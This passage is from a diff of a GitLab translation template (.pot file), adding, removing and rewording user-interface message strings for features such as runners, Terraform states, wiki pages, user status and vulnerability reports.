msgid "Reports|Execution time"
msgstr ""
+msgid "Reports|Failed %{count} time in %{base_branch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{base_branch} in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Failure"
msgstr ""
@@ -22572,6 +23084,9 @@ msgstr ""
msgid "Repositories Analytics"
msgstr ""
+msgid "RepositoriesAnalytics|Average Coverage by Job"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -22602,12 +23117,18 @@ msgstr ""
msgid "RepositoriesAnalytics|Please select projects to display."
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Tests"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
msgid "RepositoriesAnalytics|There was an error fetching the projects."
msgstr ""
+msgid "RepositoriesAnalytics|Total Number of Coverages"
+msgstr ""
+
msgid "Repository"
msgstr ""
@@ -22635,6 +23156,9 @@ msgstr ""
msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
msgstr ""
+msgid "Repository clone URL"
+msgstr ""
+
msgid "Repository files count over the limit"
msgstr ""
@@ -22668,10 +23192,10 @@ msgstr ""
msgid "Repository storage"
msgstr ""
-msgid "Repository sync capacity"
+msgid "Repository synchronization concurrency limit"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -22789,12 +23313,18 @@ msgstr ""
msgid "Resend it"
msgstr ""
+msgid "Reset"
+msgstr ""
+
msgid "Reset authorization key"
msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset filters"
+msgstr ""
+
msgid "Reset health check access token"
msgstr ""
@@ -22921,6 +23451,9 @@ msgstr ""
msgid "Retry"
msgstr ""
+msgid "Retry job"
+msgstr ""
+
msgid "Retry this job"
msgstr ""
@@ -22959,6 +23492,9 @@ msgstr ""
msgid "Review requested from %{name}"
msgstr ""
+msgid "Review the changes locally"
+msgstr ""
+
msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
msgstr ""
@@ -22979,6 +23515,9 @@ msgstr[1] ""
msgid "Reviewer(s)"
msgstr ""
+msgid "Reviewers"
+msgstr ""
+
msgid "Reviewing"
msgstr ""
@@ -23048,6 +23587,9 @@ msgstr ""
msgid "Runner cannot be assigned to other projects"
msgstr ""
+msgid "Runner is %{status}, last contact was %{runner_contact} ago"
+msgstr ""
+
msgid "Runner runs jobs from all unassigned projects"
msgstr ""
@@ -23111,12 +23653,6 @@ msgstr ""
msgid "Runners|Description"
msgstr ""
-msgid "Runners|Download Latest Binary"
-msgstr ""
-
-msgid "Runners|Download and Install Binary"
-msgstr ""
-
msgid "Runners|Group"
msgstr ""
@@ -23144,9 +23680,6 @@ msgstr ""
msgid "Runners|Protected"
msgstr ""
-msgid "Runners|Register Runner"
-msgstr ""
-
msgid "Runners|Revision"
msgstr ""
@@ -23249,12 +23782,6 @@ msgstr ""
msgid "Save Push Rules"
msgstr ""
-msgid "Save and test payload"
-msgstr ""
-
-msgid "Save anyway"
-msgstr ""
-
msgid "Save application"
msgstr ""
@@ -23273,7 +23800,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
+msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
msgstr ""
msgid "Saved scan settings and target site settings which are reusable."
@@ -23330,15 +23857,9 @@ msgstr ""
msgid "Scopes: %{scope_list}"
msgstr ""
-msgid "Score"
-msgstr ""
-
msgid "Scroll down"
msgstr ""
-msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
-msgstr ""
-
msgid "Scroll left"
msgstr ""
@@ -23441,6 +23962,9 @@ msgstr ""
msgid "Search projects..."
msgstr ""
+msgid "Search refs"
+msgstr ""
+
msgid "Search requirements"
msgstr ""
@@ -23480,9 +24004,6 @@ msgstr ""
msgid "SearchAutocomplete|in project %{projectName}"
msgstr ""
-msgid "SearchCodeResults|in"
-msgstr ""
-
msgid "SearchCodeResults|of %{link_to_project}"
msgstr ""
@@ -23562,6 +24083,9 @@ msgstr ""
msgid "Seat Link is disabled, and cannot be configured through this form."
msgstr ""
+msgid "SeatUsage|Seat usage"
+msgstr ""
+
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr ""
@@ -23748,6 +24272,9 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
+msgid "SecurityReports|Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports"
+msgstr ""
+
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -23912,6 +24439,12 @@ msgstr ""
msgid "See the affected projects in the GitLab admin panel"
msgstr ""
+msgid "See vulnerability %{vulnerability_link} for any Remediation details."
+msgstr ""
+
+msgid "See vulnerability %{vulnerability_link} for any Solution details."
+msgstr ""
+
msgid "See what's new at GitLab"
msgstr ""
@@ -24029,9 +24562,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select projects you want to import."
-msgstr ""
-
msgid "Select required regulatory standard"
msgstr ""
@@ -24374,12 +24904,6 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
-msgid "Set the number of concurrent requests this secondary node will make to the primary node while backfilling."
-msgstr ""
-
-msgid "Set the synchronization and verification capacity for the secondary node."
-msgstr ""
-
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -24422,21 +24946,30 @@ msgstr ""
msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
msgstr ""
+msgid "Set verification limit and frequency."
+msgstr ""
+
msgid "Set weight"
msgstr ""
msgid "Set weight to %{weight}."
msgstr ""
-msgid "Set what should be replicated by choosing specific projects or groups by the secondary node."
+msgid "Set what should be replicated by this secondary node."
msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
+msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "SetStatusModal|Add status emoji"
msgstr ""
+msgid "SetStatusModal|Busy"
+msgstr ""
+
msgid "SetStatusModal|Clear status"
msgstr ""
@@ -24455,6 +24988,9 @@ msgstr ""
msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
msgstr ""
+msgid "SetStatusModal|Status updated"
+msgstr ""
+
msgid "SetStatusModal|What's your status?"
msgstr ""
@@ -24551,9 +25087,6 @@ msgstr ""
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account."
msgstr ""
-msgid "Show Runner installation instructions"
-msgstr ""
-
msgid "Show all activity"
msgstr ""
@@ -24608,13 +25141,16 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me everything"
+msgid "Show me advanced features"
msgstr ""
msgid "Show me how to add a pipeline"
msgstr ""
-msgid "Show me more advanced stuff"
+msgid "Show me the basics"
+msgstr ""
+
+msgid "Show one file at a time"
msgstr ""
msgid "Show only direct members"
@@ -24643,6 +25179,9 @@ msgid_plural "Showing %d events"
msgstr[0] ""
msgstr[1] ""
+msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
+msgstr ""
+
msgid "Showing %{count} of %{total} projects"
msgstr ""
@@ -24738,10 +25277,13 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
-msgid "SignUp|First Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
-msgid "SignUp|Last Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|Last name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Minimum length is %{minimum_password_length} characters."
msgstr ""
msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
@@ -24792,6 +25334,9 @@ msgstr ""
msgid "Skipped"
msgstr ""
+msgid "Skipped deployment to"
+msgstr ""
+
msgid "Slack application"
msgstr ""
@@ -24903,9 +25448,6 @@ msgstr ""
msgid "Some of the designs you tried uploading did not change:"
msgstr ""
-msgid "Some of your epics may not be visible. A roadmap is limited to the first 1,000 epics, in your selected sort order."
-msgstr ""
-
msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
@@ -24951,7 +25493,7 @@ msgstr ""
msgid "Something went wrong while archiving a requirement."
msgstr ""
-msgid "Something went wrong while closing the %{issuable}. Please try again later"
+msgid "Something went wrong while closing the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while creating a requirement."
@@ -25032,10 +25574,13 @@ msgstr ""
msgid "Something went wrong while performing the action."
msgstr ""
+msgid "Something went wrong while promoting the issue to an epic. Please try again."
+msgstr ""
+
msgid "Something went wrong while reopening a requirement."
msgstr ""
-msgid "Something went wrong while reopening the %{issuable}. Please try again later"
+msgid "Something went wrong while reopening the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while resolving this discussion. Please try again."
@@ -25317,10 +25862,10 @@ msgstr ""
msgid "SourcegraphPreferences|This feature is experimental."
msgstr ""
-msgid "SourcegraphPreferences|Uses %{link_start}Sourcegraph.com%{link_end}."
+msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
msgstr ""
-msgid "SourcegraphPreferences|Uses a custom %{link_start}Sourcegraph instance%{link_end}."
+msgid "SourcegraphPreferences|Uses a custom %{linkStart}Sourcegraph instance%{linkEnd}."
msgstr ""
msgid "Spam Logs"
@@ -25344,6 +25889,9 @@ msgstr ""
msgid "Specify the following URL during the Runner setup:"
msgstr ""
+msgid "Speed up your pipelines with Needs relationships"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -25461,9 +26009,6 @@ msgstr ""
msgid "Start thread & reopen %{noteable_name}"
msgstr ""
-msgid "Start using Directed Acyclic Graphs (DAG)"
-msgstr ""
-
msgid "Start your Free Gold Trial"
msgstr ""
@@ -25623,6 +26168,18 @@ msgstr ""
msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
msgstr ""
+msgid "Step 1."
+msgstr ""
+
+msgid "Step 2."
+msgstr ""
+
+msgid "Step 3."
+msgstr ""
+
+msgid "Step 4."
+msgstr ""
+
msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
msgstr ""
@@ -25791,6 +26348,9 @@ msgstr ""
msgid "SubscriptionTable|Next invoice"
msgstr ""
+msgid "SubscriptionTable|Renew"
+msgstr ""
+
msgid "SubscriptionTable|Seats currently in use"
msgstr ""
@@ -25800,6 +26360,9 @@ msgstr ""
msgid "SubscriptionTable|Seats owed"
msgstr ""
+msgid "SubscriptionTable|See usage"
+msgstr ""
+
msgid "SubscriptionTable|Subscription end date"
msgstr ""
@@ -25848,6 +26411,9 @@ msgstr ""
msgid "Succeeded"
msgstr ""
+msgid "Successful purchase image"
+msgstr ""
+
msgid "Successfully activated"
msgstr ""
@@ -26022,6 +26588,9 @@ msgstr ""
msgid "Synchronization disabled"
msgstr ""
+msgid "Synchronization settings"
+msgstr ""
+
msgid "Syncing…"
msgstr ""
@@ -26190,9 +26759,6 @@ msgstr ""
msgid "Telephone number"
msgstr ""
-msgid "Telephone number (Optional)"
-msgstr ""
-
msgid "Template"
msgstr ""
@@ -26232,6 +26798,9 @@ msgstr ""
msgid "Terms of Service and Privacy Policy"
msgstr ""
+msgid "Terraform"
+msgstr ""
+
msgid "Terraform|%{number} Terraform report failed to generate"
msgid_plural "Terraform|%{number} Terraform reports failed to generate"
msgstr[0] ""
@@ -26242,24 +26811,48 @@ msgid_plural "Terraform|%{number} Terraform reports were generated in your pipel
msgstr[0] ""
msgstr[1] ""
+msgid "Terraform|%{user} updated %{timeAgo}"
+msgstr ""
+
msgid "Terraform|A Terraform report failed to generate."
msgstr ""
msgid "Terraform|A Terraform report was generated in your pipelines."
msgstr ""
+msgid "Terraform|An error occurred while loading your Terraform States"
+msgstr ""
+
+msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
+msgstr ""
+
msgid "Terraform|Generating the report caused an error."
msgstr ""
+msgid "Terraform|Get started with Terraform"
+msgstr ""
+
+msgid "Terraform|Locked"
+msgstr ""
+
+msgid "Terraform|Locked by %{user} %{timeAgo}"
+msgstr ""
+
msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
msgstr ""
+msgid "Terraform|States"
+msgstr ""
+
msgid "Terraform|The Terraform report %{name} failed to generate."
msgstr ""
msgid "Terraform|The Terraform report %{name} was generated in your pipelines."
msgstr ""
+msgid "Terraform|Unknown User"
+msgstr ""
+
msgid "Test"
msgstr ""
@@ -26280,6 +26873,12 @@ msgstr[1] ""
msgid "Test settings"
msgstr ""
+msgid "TestCases|Move test case"
+msgstr ""
+
+msgid "TestCases|Moving test case"
+msgstr ""
+
msgid "TestCases|New Test Case"
msgstr ""
@@ -26307,6 +26906,9 @@ msgstr ""
msgid "TestCases|Something went wrong while marking test case todo as done."
msgstr ""
+msgid "TestCases|Something went wrong while moving test case."
+msgstr ""
+
msgid "TestCases|Something went wrong while updating the test case labels."
msgstr ""
@@ -26337,6 +26939,9 @@ msgstr ""
msgid "TestHooks|Ensure the project has notes."
msgstr ""
+msgid "TestHooks|Ensure the project has releases."
+msgstr ""
+
msgid "TestHooks|Ensure the wiki is enabled and has pages."
msgstr ""
@@ -26432,9 +27037,6 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
-msgid "The Security Dashboard shows the results of the last successful pipeline run on the default branch."
-msgstr ""
-
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -26444,10 +27046,10 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
-msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
+msgid "The Vulnerability Report shows the results of the last successful pipeline run on the default branch."
msgstr ""
-msgid "The above settings apply to all projects with the selected compliance framework(s)."
+msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
msgid "The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential."
@@ -26516,9 +27118,6 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
-msgid "The entered user map is not a valid JSON user map."
-msgstr ""
-
msgid "The errors we encountered were:"
msgstr ""
@@ -26560,6 +27159,9 @@ msgstr ""
msgid "The form contains the following error:"
msgstr ""
+msgid "The form contains the following errors:"
+msgstr ""
+
msgid "The form contains the following warning:"
msgstr ""
@@ -26608,6 +27210,12 @@ msgstr ""
msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
msgstr ""
+msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
+msgstr ""
+
+msgid "The license for Deploy Board is required to use this feature."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -26653,6 +27261,9 @@ msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
+msgid "The page could not be displayed because it timed out."
+msgstr ""
+
msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
@@ -26764,6 +27375,9 @@ msgstr ""
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
+msgid "The tag name can't be changed for an existing release."
+msgstr ""
+
msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
msgstr ""
@@ -26773,7 +27387,7 @@ msgstr ""
msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
msgstr ""
-msgid "The uploaded file is not a valid Google Takeout archive."
+msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
msgid "The usage ping is disabled, and cannot be configured through this form."
@@ -26785,9 +27399,6 @@ msgstr ""
msgid "The user map has been saved. Continue by selecting the projects you want to import."
msgstr ""
-msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
-msgstr ""
-
msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
msgstr ""
@@ -26803,6 +27414,9 @@ msgstr ""
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
+msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -26890,6 +27504,9 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
+msgid "There are running deployments on the environment. Please retry later."
+msgstr ""
+
msgid "There is a limit of %{ci_project_subscriptions_limit} subscriptions from or to a project."
msgstr ""
@@ -27205,9 +27822,6 @@ msgstr ""
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
-msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
-msgstr ""
-
msgid "This commit was signed with a different user's verified signature."
msgstr ""
@@ -27217,9 +27831,6 @@ msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
-msgid "This commit was signed with an <strong>unverified</strong> signature."
-msgstr ""
-
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -27262,6 +27873,9 @@ msgstr ""
msgid "This environment is being re-deployed"
msgstr ""
+msgid "This environment's canary ingress has been updated recently. Please retry later."
+msgstr ""
+
msgid "This epic already has the maximum number of child epics."
msgstr ""
@@ -27325,7 +27939,7 @@ msgstr ""
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
-msgid "This is the number of currently active users on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgid "This is the number of %{billable_users_link_start}billable users%{link_end} on your installation, and this is the minimum number you need to purchase when you renew your license."
msgstr ""
msgid "This is your current session"
@@ -27334,9 +27948,6 @@ msgstr ""
msgid "This issue is currently blocked by the following issues:"
msgstr ""
-msgid "This issue is currently blocked by the following issues: %{issues}."
-msgstr ""
-
msgid "This issue is in a child epic of the filtered epic"
msgstr ""
@@ -27451,7 +28062,7 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a work in progress."
+msgid "This merge request is still a draft."
msgstr ""
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
@@ -27472,9 +28083,6 @@ msgstr ""
msgid "This page sends a payload. Go back to the events page to see a newly created event."
msgstr ""
-msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
-msgstr ""
-
msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
msgstr ""
@@ -27553,6 +28161,9 @@ msgstr ""
msgid "This user cannot be unlocked manually from GitLab"
msgstr ""
+msgid "This user does not have a pending request"
+msgstr ""
+
msgid "This user has no active %{type}."
msgstr ""
@@ -27598,6 +28209,9 @@ msgstr ""
msgid "Threat Monitoring"
msgstr ""
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -27898,6 +28512,9 @@ msgstr ""
msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
+msgid "Timezone"
+msgstr ""
+
msgid "Time|hr"
msgid_plural "Time|hrs"
msgstr[0] ""
@@ -27914,6 +28531,9 @@ msgstr ""
msgid "Tip:"
msgstr ""
+msgid "Tip: add a"
+msgstr ""
+
msgid "Title"
msgstr ""
@@ -28049,7 +28669,7 @@ msgstr ""
msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
msgstr ""
-msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
+msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
@@ -28148,6 +28768,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "Too many users specified (limit is %{user_limit})"
+msgstr ""
+
msgid "Too much data"
msgstr ""
@@ -28490,6 +29113,9 @@ msgstr ""
msgid "Unable to convert Kubernetes logs encoding to UTF-8"
msgstr ""
+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -28556,7 +29182,7 @@ msgstr ""
msgid "Unassigned"
msgstr ""
-msgid "Unblock"
+msgid "Unauthenticated request rate limit"
msgstr ""
msgid "Undo"
@@ -28628,10 +29254,10 @@ msgstr ""
msgid "Unlocks the discussion."
msgstr ""
-msgid "Unmarked this %{noun} as Work In Progress."
+msgid "Unmarked this %{noun} as a draft."
msgstr ""
-msgid "Unmarks this %{noun} as Work In Progress."
+msgid "Unmarks this %{noun} as a draft."
msgstr ""
msgid "Unreachable"
@@ -28826,9 +29452,6 @@ msgstr ""
msgid "Upgrade your plan to improve Merge Requests."
msgstr ""
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
-
msgid "Upload CSV file"
msgstr ""
@@ -28847,6 +29470,9 @@ msgstr ""
msgid "Upload a private key for your certificate"
msgstr ""
+msgid "Upload an image"
+msgstr ""
+
msgid "Upload file"
msgstr ""
@@ -28883,6 +29509,9 @@ msgstr ""
msgid "Usage"
msgstr ""
+msgid "Usage Trends"
+msgstr ""
+
msgid "Usage ping is off"
msgstr ""
@@ -28973,6 +29602,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr ""
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr ""
@@ -29120,6 +29752,12 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
msgid "UserLists|Add"
msgstr ""
@@ -29177,6 +29815,9 @@ msgstr ""
msgid "UserList|created %{timeago}"
msgstr ""
+msgid "UserProfile|(Busy)"
+msgstr ""
+
msgid "UserProfile|Activity"
msgstr ""
@@ -29222,6 +29863,9 @@ msgstr ""
msgid "UserProfile|Report abuse"
msgstr ""
+msgid "UserProfile|Retry"
+msgstr ""
+
msgid "UserProfile|Snippets"
msgstr ""
@@ -29252,6 +29896,9 @@ msgstr ""
msgid "UserProfile|This user is blocked"
msgstr ""
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr ""
@@ -29288,6 +29935,9 @@ msgstr ""
msgid "Username or email"
msgstr ""
+msgid "Username: %{username}"
+msgstr ""
+
msgid "Users"
msgstr ""
@@ -29330,15 +29980,15 @@ msgstr ""
msgid "UsersSelect|Unassigned"
msgstr ""
-msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
-msgstr ""
-
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr ""
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr ""
+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
msgid "Valid from"
msgstr ""
@@ -29408,7 +30058,7 @@ msgstr ""
msgid "Various settings that affect GitLab performance."
msgstr ""
-msgid "Verification capacity"
+msgid "Verification concurrency limit"
msgstr ""
msgid "Verification information"
@@ -29487,6 +30137,9 @@ msgstr ""
msgid "View file @ %{commitSha}"
msgstr ""
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr ""
@@ -29544,6 +30197,9 @@ msgstr ""
msgid "View replaced file @ "
msgstr ""
+msgid "View setting"
+msgstr ""
+
msgid "View supported languages and frameworks"
msgstr ""
@@ -29637,9 +30293,6 @@ msgstr ""
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr ""
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr ""
@@ -29745,6 +30398,12 @@ msgstr ""
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr ""
@@ -29793,10 +30452,7 @@ msgstr ""
msgid "Vulnerability|Project"
msgstr ""
-msgid "Vulnerability|Request"
-msgstr ""
-
-msgid "Vulnerability|Response"
+msgid "Vulnerability|Request/Response"
msgstr ""
msgid "Vulnerability|Scanner"
@@ -29811,6 +30467,9 @@ msgstr ""
msgid "Vulnerability|Status"
msgstr ""
+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
msgstr ""
@@ -29835,6 +30494,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr ""
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr ""
@@ -29964,6 +30626,9 @@ msgstr ""
msgid "Webhooks|Push events"
msgstr ""
+msgid "Webhooks|Releases events"
+msgstr ""
+
msgid "Webhooks|SSL verification"
msgstr ""
@@ -29979,6 +30644,9 @@ msgstr ""
msgid "Webhooks|This URL is triggered when a feature flag is turned on or off"
msgstr ""
+msgid "Webhooks|This URL is triggered when a release is created/updated"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered by a push to the repository"
msgstr ""
@@ -30060,12 +30728,18 @@ msgstr ""
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr ""
msgid "What’s your experience level?"
msgstr ""
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr ""
@@ -30122,7 +30796,13 @@ msgstr ""
msgid "Wiki"
msgstr ""
-msgid "Wiki was successfully updated."
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
msgstr ""
msgid "WikiClone|Clone your wiki"
@@ -30278,6 +30958,9 @@ msgstr ""
msgid "Wiki|Pages"
msgstr ""
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr ""
@@ -30359,9 +31042,6 @@ msgstr ""
msgid "Yes, delete project"
msgstr ""
-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr ""
-
msgid "Yesterday"
msgstr ""
@@ -30371,6 +31051,9 @@ msgstr ""
msgid "You already have pending todo for this alert"
msgstr ""
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr ""
@@ -30416,6 +31099,9 @@ msgstr ""
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr ""
@@ -30575,6 +31261,9 @@ msgstr ""
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr ""
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
@@ -30617,6 +31306,9 @@ msgstr ""
msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
msgstr ""
+msgid "You do not have permission to update the environment."
+msgstr ""
+
msgid "You do not have permissions to run the import."
msgstr ""
@@ -30695,6 +31387,12 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
@@ -30779,9 +31477,6 @@ msgstr ""
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr ""
-msgid "You need to upload a Google Takeout archive."
-msgstr ""
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -30824,13 +31519,10 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
